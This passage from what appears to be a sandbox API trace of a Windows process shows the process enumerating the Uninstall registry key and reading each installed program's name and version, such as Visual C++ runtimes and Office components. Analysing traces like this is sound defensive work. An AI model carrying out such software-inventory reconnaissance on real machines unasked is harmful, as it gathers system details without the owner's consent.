lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.312] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860") returned 100 [0099.312] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.313] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.313] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.313] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x12, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.313] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655") returned 100 [0099.313] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.313] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.313] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.313] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x13, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.313] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743") returned 100 [0099.313] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.313] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.313] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.313] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x14, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.313] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063") returned 100 [0099.313] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.313] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.313] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.313] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x15, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.314] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573") returned 99 [0099.314] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.314] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0x31, lpcbData=0x19eb90*=0x400) returned 0x2 [0099.314] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.314] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x16, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.314] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}") returned 90 [0099.314] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.314] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508", lpcbData=0x19eb90*=0x3c) returned 0x0 [0099.314] GetLastError () returned 0x12 [0099.314] SetLastError (dwErrCode=0x12) [0099.314] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="14.25.28508", lpcbData=0x19eb90*=0xc) returned 0x0 [0099.314] GetLastError () returned 0x12 [0099.314] SetLastError (dwErrCode=0x12) [0099.314] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x144) returned 0x2116690 [0099.315] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0099.315] GetLastError () returned 0x12 [0099.315] SetLastError (dwErrCode=0x12) [0099.315] GetLastError () returned 0x12 [0099.315] SetLastError (dwErrCode=0x12) [0099.315] GetLastError () returned 0x12 [0099.315] SetLastError (dwErrCode=0x12) [0099.315] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.315] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x17, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.315] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 90 [0099.315] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.315] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpcbData=0x19eb90*=0x3d) returned 0x0 [0099.315] GetLastError () returned 0x12 [0099.315] SetLastError (dwErrCode=0x12) [0099.315] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="11.0.61030.0", lpcbData=0x19eb90*=0xd) returned 0x0 [0099.316] GetLastError () returned 0x12 [0099.316] SetLastError (dwErrCode=0x12) [0099.316] GetLastError () returned 0x12 [0099.316] SetLastError (dwErrCode=0x12) [0099.316] GetLastError () returned 0x12 [0099.316] SetLastError (dwErrCode=0x12) [0099.316] GetLastError () returned 0x12 [0099.316] SetLastError (dwErrCode=0x12) [0099.316] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.316] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x18, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.316] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 90 [0099.316] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.316] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpcbData=0x19eb90*=0x3d) returned 0x0 [0099.317] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1e6) returned 0x21169e8 [0099.317] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116690 | out: hHeap=0x2110000) returned 1 [0099.317] GetLastError () returned 0x12 [0099.317] SetLastError (dwErrCode=0x12) [0099.317] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="12.0.30501.0", lpcbData=0x19eb90*=0xd) returned 0x0 [0099.317] GetLastError () returned 0x12 [0099.317] SetLastError (dwErrCode=0x12) [0099.317] GetLastError () returned 0x12 [0099.318] SetLastError (dwErrCode=0x12) [0099.318] GetLastError () returned 0x12 [0099.318] SetLastError (dwErrCode=0x12) [0099.318] GetLastError () returned 0x12 [0099.318] SetLastError (dwErrCode=0x12) [0099.318] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.318] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x19, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{65e650ff-30be-469d-b63a-418d71ea1765}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.318] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{65e650ff-30be-469d-b63a-418d71ea1765}") returned 90 [0099.318] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{65e650ff-30be-469d-b63a-418d71ea1765}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.318] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508", lpcbData=0x19eb90*=0x43) returned 0x0 [0099.318] GetLastError () returned 0x12 [0099.318] SetLastError (dwErrCode=0x12) [0099.319] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="14.25.28508.3", lpcbData=0x19eb90*=0xe) returned 0x0 [0099.319] GetLastError () returned 0x12 [0099.319] SetLastError (dwErrCode=0x12) [0099.319] GetLastError () returned 0x12 [0099.319] SetLastError (dwErrCode=0x12) [0099.319] GetLastError () returned 0x12 [0099.319] SetLastError (dwErrCode=0x12) [0099.319] GetLastError () returned 0x12 [0099.319] SetLastError (dwErrCode=0x12) [0099.319] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.319] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1a, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.319] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}") returned 90 [0099.319] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.320] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508", lpcbData=0x19eb90*=0x43) returned 0x0 [0099.320] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2d9) returned 0x2116bd8 [0099.320] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21169e8 | out: hHeap=0x2110000) returned 1 [0099.320] GetLastError () returned 0x12 [0099.320] SetLastError (dwErrCode=0x12) [0099.320] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="14.25.28508.3", lpcbData=0x19eb90*=0xe) returned 0x0 [0099.320] GetLastError () returned 0x12 [0099.320] SetLastError (dwErrCode=0x12) [0099.320] GetLastError () returned 0x12 [0099.320] SetLastError (dwErrCode=0x12) [0099.320] GetLastError () returned 0x12 [0099.320] SetLastError (dwErrCode=0x12) [0099.320] GetLastError () returned 0x12 [0099.320] SetLastError (dwErrCode=0x12) [0099.320] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.321] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1b, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.321] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}") returned 90 [0099.321] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.321] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2005 Redistributable", lpcbData=0x19eb90*=0x2a) returned 0x0 [0099.321] GetLastError () returned 0x12 [0099.321] SetLastError (dwErrCode=0x12) [0099.321] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="8.0.61001", lpcbData=0x19eb90*=0xa) returned 0x0 [0099.321] GetLastError () returned 0x12 [0099.321] SetLastError (dwErrCode=0x12) [0099.321] GetLastError () returned 0x12 [0099.321] SetLastError (dwErrCode=0x12) [0099.321] GetLastError () returned 0x12 [0099.322] SetLastError (dwErrCode=0x12) [0099.322] GetLastError () returned 0x12 [0099.322] SetLastError (dwErrCode=0x12) [0099.322] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.322] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1c, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-008C-0000-0000-0000000FF1CE}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.322] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-0000-0000000FF1CE}") returned 90 [0099.322] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.322] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Office 16 Click-to-Run Extensibility Component", lpcbData=0x19eb90*=0x2f) returned 0x0 [0099.322] GetLastError () returned 0x12 [0099.322] SetLastError (dwErrCode=0x12) [0099.322] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="16.0.4266.1003", lpcbData=0x19eb90*=0xf) returned 0x0 [0099.322] GetLastError () returned 0x12 [0099.322] SetLastError (dwErrCode=0x12) [0099.322] GetLastError () returned 0x12 [0099.322] SetLastError (dwErrCode=0x12) [0099.323] GetLastError () returned 0x12 [0099.323] SetLastError (dwErrCode=0x12) [0099.323] GetLastError () returned 0x12 [0099.323] SetLastError (dwErrCode=0x12) [0099.323] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.323] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1d, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-008C-0409-0000-0000000FF1CE}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.323] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-0000-0000000FF1CE}") returned 90 [0099.323] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.323] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Office 16 Click-to-Run Localization Component", lpcbData=0x19eb90*=0x2e) returned 0x0 [0099.323] GetLastError () returned 0x12 [0099.323] SetLastError (dwErrCode=0x12) [0099.323] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="16.0.4266.1003", lpcbData=0x19eb90*=0xf) returned 0x0 [0099.324] GetLastError () returned 0x12 [0099.324] SetLastError (dwErrCode=0x12) [0099.324] GetLastError () returned 0x12 [0099.324] SetLastError (dwErrCode=0x12) [0099.324] GetLastError () returned 0x12 [0099.324] SetLastError (dwErrCode=0x12) [0099.324] GetLastError () returned 0x12 [0099.324] SetLastError (dwErrCode=0x12) [0099.324] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.324] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1e, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.324] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 90 [0099.324] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.324] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpcbData=0x19eb90*=0x3f) returned 0x0 [0099.324] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x445) returned 0x2116ec0 [0099.325] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116bd8 | out: hHeap=0x2110000) returned 1 [0099.325] GetLastError () returned 0x12 [0099.325] SetLastError (dwErrCode=0x12) [0099.325] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="9.0.30729.6161", lpcbData=0x19eb90*=0xf) returned 0x0 [0099.325] GetLastError () returned 0x12 [0099.325] SetLastError (dwErrCode=0x12) [0099.325] GetLastError () returned 0x12 [0099.325] SetLastError (dwErrCode=0x12) [0099.325] GetLastError () returned 0x12 [0099.325] SetLastError (dwErrCode=0x12) [0099.325] GetLastError () returned 0x12 [0099.325] SetLastError (dwErrCode=0x12) [0099.325] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.325] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1f, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.325] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}") returned 90 [0099.325] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.326] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpcbData=0x19eb90*=0x3e) returned 0x0 [0099.326] GetLastError () returned 0x12 [0099.326] SetLastError (dwErrCode=0x12) [0099.326] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="11.0.61030", lpcbData=0x19eb90*=0xb) returned 0x0 [0099.326] GetLastError () returned 0x12 [0099.326] SetLastError (dwErrCode=0x12) [0099.326] GetLastError () returned 0x12 [0099.326] SetLastError (dwErrCode=0x12) [0099.326] GetLastError () returned 0x12 [0099.326] SetLastError (dwErrCode=0x12) [0099.326] GetLastError () returned 0x12 [0099.326] SetLastError (dwErrCode=0x12) [0099.326] RegCloseKey (hKey=0x4d8) returned 0x0 [0099.326] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x20, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0099.327] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}") returned 90 [0099.327] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d8) returned 0x0 [0099.327] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpcbData=0x19eb90*=0x3b) returned 0x0 [0099.327] GetLastError () returned 0x12 [0099.327] SetLastError (dwErrCode=0x12) [0099.327] RegQueryValueExA (in: hKey=0x4d8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x1, lpData="11.0.61030", lpcbData=0x19eb90*=0xb) returned 0x0 [0099.327] GetLastError () returned 0x12 [0099.327] SetLastError (dwErrCode=0x12) [0099.327] GetLastError () returned 